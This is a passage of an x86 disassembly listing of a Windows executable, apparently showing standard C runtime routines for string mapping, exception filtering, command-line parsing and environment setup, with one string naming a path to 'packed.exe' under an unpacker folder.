		cmp	eax, [ebp+var_1C]
		jnz	short loc_4296C0
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+8]
		add	edx, [ebp+var_10]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+8]
		mov	[ebp+var_4], ecx
		jmp	short loc_429687
; ---------------------------------------------------------------------------


loc_42967E:				; CODE XREF: sub_4294B0:loc_4296A3j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_429687:				; CODE XREF: sub_4294B0+1CCj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_14]
		jnb	short loc_4296A5
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 0Ah
		jnz	short loc_4296A3
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax


loc_4296A3:				; CODE XREF: sub_4294B0+1E8j
		jmp	short loc_42967E
; ---------------------------------------------------------------------------


loc_4296A5:				; CODE XREF: sub_4294B0+1DDj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+0Ch]
		and	edx, 2000h
		test	edx, edx
		jz	short loc_4296BE
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax


loc_4296BE:				; CODE XREF: sub_4294B0+203j
		jmp	short loc_429734
; ---------------------------------------------------------------------------


loc_4296C0:				; CODE XREF: sub_4294B0+1B5j
		push	0
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_4292F0
		add	esp, 0Ch
		cmp	[ebp+var_10], 200h
		ja	short loc_429700
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+0Ch]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_429700
		mov	edx, [ebp+var_C]
		mov	eax, [edx+0Ch]
		and	eax, 400h
		test	eax, eax
		jnz	short loc_429700
		mov	[ebp+var_10], 200h
		jmp	short loc_429709
; ---------------------------------------------------------------------------


loc_429700:				; CODE XREF: sub_4294B0+229j
					; sub_4294B0+236j ...
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+18h]
		mov	[ebp+var_10], edx


loc_429709:				; CODE XREF: sub_4294B0+24Ej
		mov	eax, [ebp+var_8]
		sar	eax, 5
		mov	ecx, [ebp+var_8]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4EFC40[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 4
		test	eax, eax
		jz	short loc_429734
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx


loc_429734:				; CODE XREF: sub_4294B0+19Cj
					; sub_4294B0:loc_4296BEj ...
		mov	edx, [ebp+var_1C]
		sub	edx, [ebp+var_10]
		mov	[ebp+var_1C], edx


loc_42973D:				; CODE XREF: sub_4294B0+148j
					; sub_4294B0+15Ej
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_18]


loc_429743:				; CODE XREF: sub_4294B0+71j
					; sub_4294B0+91j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4294B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429750	proc near		; CODE XREF: sub_41E5F0+EBp
					; sub_424370+121p ...

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4382C0
		push	offset sub_42A9E4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFDCh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4EF998, 0
		jnz	short loc_4297D6
		push	0
		push	0
		push	1
		push	offset dword_4382B8
		push	100h
		push	0
		call	dword_4F1318	; LCMapStringW
		test	eax, eax
		jz	short loc_4297A7
		mov	dword_4EF998, 1
		jmp	short loc_4297D6
; ---------------------------------------------------------------------------


loc_4297A7:				; CODE XREF: sub_429750+49j
		push	0
		push	0
		push	1
		push	offset dword_4382B4
		push	100h
		push	0
		call	dword_4F131C	; LCMapStringA
		test	eax, eax
		jz	short loc_4297CF
		mov	dword_4EF998, 2
		jmp	short loc_4297D6
; ---------------------------------------------------------------------------


loc_4297CF:				; CODE XREF: sub_429750+71j
		xor	eax, eax
		jmp	loc_429A41
; ---------------------------------------------------------------------------


loc_4297D6:				; CODE XREF: sub_429750+2Dj
					; sub_429750+55j ...
		cmp	[ebp+arg_C], 0
		jle	short loc_4297EF
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_429A60
		add	esp, 8
		mov	[ebp+arg_C], eax


loc_4297EF:				; CODE XREF: sub_429750+8Aj
		cmp	dword_4EF998, 2
		jnz	short loc_42981B
		mov	edx, [ebp+arg_14]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4F131C	; LCMapStringA
		jmp	loc_429A41
; ---------------------------------------------------------------------------


loc_42981B:				; CODE XREF: sub_429750+A6j
		cmp	dword_4EF998, 1
		jnz	loc_429A3F
		cmp	[ebp+arg_18], 0
		jnz	short loc_429837
		mov	edx, dword_4EF984
		mov	[ebp+arg_18], edx


loc_429837:				; CODE XREF: sub_429750+DCj
		push	0
		push	0
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_1C]
		neg	edx
		sbb	edx, edx
		and	edx, 8
		add	edx, 1
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		call	dword_4F1420	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_42986B
		xor	eax, eax
		jmp	loc_429A41
; ---------------------------------------------------------------------------


loc_42986B:				; CODE XREF: sub_429750+112j
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_1C]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BC60
		mov	[ebp+var_30], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_30]
		mov	[ebp+var_24], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4298AD
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_4298AD:				; CODE XREF: sub_429750+144j
		cmp	[ebp+var_24], 0
		jnz	short loc_4298BA
		xor	eax, eax
		jmp	loc_429A41
; ---------------------------------------------------------------------------


loc_4298BA:				; CODE XREF: sub_429750+161j
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	1
		mov	eax, [ebp+arg_18]
		push	eax
		call	dword_4F1420	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_4298E1
		xor	eax, eax
		jmp	loc_429A41
; ---------------------------------------------------------------------------


loc_4298E1:				; CODE XREF: sub_429750+188j
		push	0
		push	0
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4F1318	; LCMapStringW
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_42990B
		xor	eax, eax
		jmp	loc_429A41
; ---------------------------------------------------------------------------


loc_42990B:				; CODE XREF: sub_429750+1B2j
		mov	edx, [ebp+arg_4]
		and	edx, 400h
		test	edx, edx
		jz	short loc_42995B
		cmp	[ebp+arg_14], 0
		jz	short loc_429956
		mov	eax, [ebp+var_28]
		cmp	eax, [ebp+arg_14]
		jle	short loc_42992D
		xor	eax, eax
		jmp	loc_429A41
; ---------------------------------------------------------------------------


loc_42992D:				; CODE XREF: sub_429750+1D4j
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F1318	; LCMapStringW
		test	eax, eax
		jnz	short loc_429956
		xor	eax, eax
		jmp	loc_429A41
; ---------------------------------------------------------------------------


loc_429956:				; CODE XREF: sub_429750+1CCj
					; sub_429750+1FDj
		jmp	loc_429A3A
; ---------------------------------------------------------------------------


loc_42995B:				; CODE XREF: sub_429750+1C6j
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_2C], ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_2C]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BC60
		mov	[ebp+var_34], esp
		mov	[ebp+var_18], esp
		mov	edx, [ebp+var_34]
		mov	[ebp+var_20], edx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4299A3
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_20], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_4299A3:				; CODE XREF: sub_429750+23Aj
		cmp	[ebp+var_20], 0
		jnz	short loc_4299B0
		xor	eax, eax
		jmp	loc_429A41
; ---------------------------------------------------------------------------


loc_4299B0:				; CODE XREF: sub_429750+257j
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4F1318	; LCMapStringW
		test	eax, eax
		jnz	short loc_4299D6
		xor	eax, eax
		jmp	short loc_429A41
; ---------------------------------------------------------------------------


loc_4299D6:				; CODE XREF: sub_429750+280j
		cmp	[ebp+arg_14], 0
		jnz	short loc_429A0A
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		push	220h
		mov	edx, [ebp+arg_18]
		push	edx
		call	dword_4F141C	; WideCharToMultiByte
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_429A08
		xor	eax, eax
		jmp	short loc_429A41
; ---------------------------------------------------------------------------


loc_429A08:				; CODE XREF: sub_429750+2B2j
		jmp	short loc_429A3A
; ---------------------------------------------------------------------------


loc_429A0A:				; CODE XREF: sub_429750+28Aj
		push	0
		push	0
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		push	220h
		mov	ecx, [ebp+arg_18]
		push	ecx
		call	dword_4F141C	; WideCharToMultiByte
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_429A3A
		xor	eax, eax
		jmp	short loc_429A41
; ---------------------------------------------------------------------------


loc_429A3A:				; CODE XREF: sub_429750:loc_429956j
					; sub_429750:loc_429A08j ...
		mov	eax, [ebp+var_28]
		jmp	short loc_429A41
; ---------------------------------------------------------------------------


loc_429A3F:				; CODE XREF: sub_429750+D2j
		xor	eax, eax


loc_429A41:				; CODE XREF: sub_429750+81j
					; sub_429750+C6j ...
		lea	esp, [ebp-40h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_429750	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429A60	proc near		; CODE XREF: sub_429750+94p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx


loc_429A72:				; CODE XREF: sub_429A60+35j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_8], eax
		test	edx, edx
		jz	short loc_429A97
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_429A97
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_429A72
; ---------------------------------------------------------------------------


loc_429A97:				; CODE XREF: sub_429A60+20j
					; sub_429A60+2Aj
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_429AA9
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		jmp	short loc_429AAC
; ---------------------------------------------------------------------------


loc_429AA9:				; CODE XREF: sub_429A60+3Fj
		mov	eax, [ebp+arg_4]


loc_429AAC:				; CODE XREF: sub_429A60+47j
		mov	esp, ebp
		pop	ebp
		retn
sub_429A60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429AB0	proc near		; CODE XREF: .nsp0:0041EB04p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		call	sub_423CF0
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+50h]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_429C70
		add	esp, 8
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_429AE3
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_429AF2


loc_429AE3:				; CODE XREF: sub_429AB0+28j
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	dword_4F1314	; UnhandledExceptionFilter
		jmp	loc_429C6A
; ---------------------------------------------------------------------------


loc_429AF2:				; CODE XREF: sub_429AB0+31j
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx+8], 5
		jnz	short loc_429B0F
		mov	eax, [ebp+var_10]
		mov	dword ptr [eax+8], 0
		mov	eax, 1
		jmp	loc_429C6A
; ---------------------------------------------------------------------------


loc_429B0F:				; CODE XREF: sub_429AB0+49j
		mov	ecx, [ebp+var_10]
		cmp	dword ptr [ecx+8], 1
		jnz	short loc_429B20
		or	eax, 0FFFFFFFFh
		jmp	loc_429C6A
; ---------------------------------------------------------------------------


loc_429B20:				; CODE XREF: sub_429AB0+66j
		mov	edx, [ebp+var_10]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+54h]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_4]
		mov	[eax+54h], ecx
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx+4], 8
		jnz	loc_429C47
		mov	eax, dword_451C40
		mov	[ebp+var_14], eax
		jmp	short loc_429B5B
; ---------------------------------------------------------------------------


loc_429B52:				; CODE XREF: sub_429AB0+D0j
		mov	ecx, [ebp+var_14]
		add	ecx, 1
		mov	[ebp+var_14], ecx


loc_429B5B:				; CODE XREF: sub_429AB0+A0j
		mov	edx, dword_451C40
		add	edx, dword_451C44
		cmp	[ebp+var_14], edx
		jge	short loc_429B82
		mov	eax, [ebp+var_14]
		imul	eax, 0Ch
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+50h]
		mov	dword ptr [edx+eax+8], 0
		jmp	short loc_429B52
; ---------------------------------------------------------------------------


loc_429B82:				; CODE XREF: sub_429AB0+BAj
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+58h]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx], 0C000008Eh
		jnz	short loc_429BA5
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+58h], 83h
		jmp	loc_429C2D
; ---------------------------------------------------------------------------


loc_429BA5:				; CODE XREF: sub_429AB0+E4j
		mov	ecx, [ebp+var_10]
		cmp	dword ptr [ecx], 0C0000090h
		jnz	short loc_429BBC
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+58h], 81h
		jmp	short loc_429C2D
; ---------------------------------------------------------------------------


loc_429BBC:				; CODE XREF: sub_429AB0+FEj
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax], 0C0000091h
		jnz	short loc_429BD3
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+58h], 84h
		jmp	short loc_429C2D
; ---------------------------------------------------------------------------


loc_429BD3:				; CODE XREF: sub_429AB0+115j
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx], 0C0000093h
		jnz	short loc_429BEA
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+58h], 85h
		jmp	short loc_429C2D
; ---------------------------------------------------------------------------


loc_429BEA:				; CODE XREF: sub_429AB0+12Cj
		mov	ecx, [ebp+var_10]
		cmp	dword ptr [ecx], 0C000008Dh
		jnz	short loc_429C01
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+58h], 82h
		jmp	short loc_429C2D
; ---------------------------------------------------------------------------


loc_429C01:				; CODE XREF: sub_429AB0+143j
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax], 0C000008Fh
		jnz	short loc_429C18
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+58h], 86h
		jmp	short loc_429C2D
; ---------------------------------------------------------------------------


loc_429C18:				; CODE XREF: sub_429AB0+15Aj
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx], 0C0000092h
		jnz	short loc_429C2D
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+58h], 8Ah


loc_429C2D:				; CODE XREF: sub_429AB0+F0j
					; sub_429AB0+10Aj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+58h]
		push	edx
		push	8
		call	[ebp+var_4]
		add	esp, 8
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	[eax+58h], ecx
		jmp	short loc_429C5E
; ---------------------------------------------------------------------------


loc_429C47:				; CODE XREF: sub_429AB0+92j
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+4]
		push	ecx
		call	[ebp+var_4]
		add	esp, 4


loc_429C5E:				; CODE XREF: sub_429AB0+195j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_18]
		mov	[edx+54h], eax
		or	eax, 0FFFFFFFFh


loc_429C6A:				; CODE XREF: sub_429AB0+3Dj
					; sub_429AB0+5Aj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_429AB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429C70	proc near		; CODE XREF: sub_429AB0+19p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_429C7A:				; CODE XREF: sub_429C70+30j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		cmp	edx, [ebp+arg_0]
		jz	short loc_429CA2
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ecx, dword_451C4C
		imul	ecx, 0Ch
		mov	edx, [ebp+arg_4]
		add	edx, ecx
		cmp	[ebp+var_4], edx
		jnb	short loc_429CA2
		jmp	short loc_429C7A
; ---------------------------------------------------------------------------


loc_429CA2:				; CODE XREF: sub_429C70+12j
					; sub_429C70+2Ej
		mov	eax, dword_451C4C
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		cmp	[ebp+var_4], ecx
		jnb	short loc_429CBE
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		cmp	eax, [ebp+arg_0]
		jz	short loc_429CC2


loc_429CBE:				; CODE XREF: sub_429C70+42j
		xor	eax, eax
		jmp	short loc_429CC5
; ---------------------------------------------------------------------------


loc_429CC2:				; CODE XREF: sub_429C70+4Cj
		mov	eax, [ebp+var_4]


loc_429CC5:				; CODE XREF: sub_429C70+50j
		mov	esp, ebp
		pop	ebp
		retn
sub_429C70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429CD0	proc near		; CODE XREF: .nsp0:0041EAA8p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4F0FAC, 0
		jnz	short loc_429CE2
		call	sub_4246A0


loc_429CE2:				; CODE XREF: sub_429CD0+Bj
		mov	eax, dword_4F0FA4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 22h
		jnz	short loc_429D4C


loc_429CF6:				; CODE XREF: sub_429CD0:loc_429D33j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 22h
		jz	short loc_429D35
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_429D35
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		push	eax
		call	sub_430C40
		add	esp, 4
		test	eax, eax
		jz	short loc_429D33
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_429D33:				; CODE XREF: sub_429CD0+58j
		jmp	short loc_429CF6
; ---------------------------------------------------------------------------


loc_429D35:				; CODE XREF: sub_429CD0+39j
					; sub_429CD0+44j
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 22h
		jnz	short loc_429D4A
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_429D4A:				; CODE XREF: sub_429CD0+6Fj
		jmp	short loc_429D63
; ---------------------------------------------------------------------------


loc_429D4C:				; CODE XREF: sub_429CD0+24j
					; sub_429CD0+91j
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 20h
		jle	short loc_429D63
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_429D4C
; ---------------------------------------------------------------------------


loc_429D63:				; CODE XREF: sub_429CD0:loc_429D4Aj
					; sub_429CD0+86j ...
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_429D85
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 20h
		jg	short loc_429D85
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_429D63
; ---------------------------------------------------------------------------


loc_429D85:				; CODE XREF: sub_429CD0+9Cj
					; sub_429CD0+A8j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_429CD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429D90	proc near		; CODE XREF: .nsp0:0041EA8Dp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	dword_4F0FAC, 0
		jnz	short loc_429DA4
		call	sub_4246A0


loc_429DA4:				; CODE XREF: sub_429D90+Dj
		mov	[ebp+var_8], 0
		mov	eax, dword_4EF8E0
		mov	[ebp+var_4], eax


loc_429DB3:				; CODE XREF: sub_429D90+57j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_429DE9
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 3Dh
		jz	short loc_429DD1
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx


loc_429DD1:				; CODE XREF: sub_429D90+36j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_418D00
		add	esp, 4
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax+1]
		mov	[ebp+var_4], edx
		jmp	short loc_429DB3
; ---------------------------------------------------------------------------


loc_429DE9:				; CODE XREF: sub_429D90+2Bj
		push	6Dh
		push	offset dword_4382D8
		push	2
		mov	eax, [ebp+var_8]
		lea	ecx, ds:4[eax*4]
		push	ecx
		call	sub_418EF0
		add	esp, 10h
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_C]
		mov	dword_4EF898, edx
		cmp	dword_4EF898, 0
		jnz	short loc_429E24
		push	9
		call	sub_41EB30
		add	esp, 4


loc_429E24:				; CODE XREF: sub_429D90+88j
		mov	eax, dword_4EF8E0
		mov	[ebp+var_4], eax
		jmp	short loc_429E37
; ---------------------------------------------------------------------------


loc_429E2E:				; CODE XREF: sub_429D90:loc_429EA5j
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_10]
		mov	[ebp+var_4], ecx


loc_429E37:				; CODE XREF: sub_429D90+9Cj
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_429EA7
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_418D00
		add	esp, 4
		add	eax, 1
		mov	[ebp+var_10], eax
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 3Dh
		jz	short loc_429EA5
		push	79h
		push	offset dword_4382D8
		push	2
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_418EF0
		add	esp, 10h
		mov	edx, [ebp+var_C]
		mov	[edx], eax
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax], 0
		jnz	short loc_429E8A
		push	9
		call	sub_41EB30
		add	esp, 4


loc_429E8A:				; CODE XREF: sub_429D90+EEj
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		push	eax
		call	sub_41C300
		add	esp, 8
		mov	ecx, [ebp+var_C]
		add	ecx, 4
		mov	[ebp+var_C], ecx


loc_429EA5:				; CODE XREF: sub_429D90+CCj
		jmp	short loc_429E2E
; ---------------------------------------------------------------------------


loc_429EA7:				; CODE XREF: sub_429D90+AFj
		push	2
		mov	edx, dword_4EF8E0
		push	edx
		call	sub_419980
		add	esp, 8
		mov	dword_4EF8E0, 0
		mov	eax, [ebp+var_C]
		mov	dword ptr [eax], 0
		mov	dword_4F0FA8, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_429D90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429EE0	proc near		; CODE XREF: .nsp0:0041EA88p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	dword_4F0FAC, 0
		jnz	short loc_429EF4
		call	sub_4246A0


loc_429EF4:				; CODE XREF: sub_429EE0+Dj
		push	104h
		push	offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	0
		call	dword_4F132C	; GetModuleFileNameA
		mov	off_4EF8A8, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		mov	eax, dword_4F0FA4
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_429F27
		mov	edx, off_4EF8A8
		mov	[ebp+var_14], edx
		jmp	short loc_429F2F
; ---------------------------------------------------------------------------


loc_429F27:				; CODE XREF: sub_429EE0+3Aj
		mov	eax, dword_4F0FA4
		mov	[ebp+var_14], eax


loc_429F2F:				; CODE XREF: sub_429EE0+45j
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_10], ecx
		lea	edx, [ebp+var_4]
		push	edx
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	0
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_429FC0
		add	esp, 14h
		push	80h
		push	offset dword_4382E4
		push	2
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		lea	ecx, [eax+edx*4]
		push	ecx
		call	sub_418EF0
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_429F7E
		push	8
		call	sub_41EB30
		add	esp, 4


loc_429F7E:				; CODE XREF: sub_429EE0+92j
		lea	edx, [ebp+var_4]
		push	edx
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		lea	eax, [edx+ecx*4]
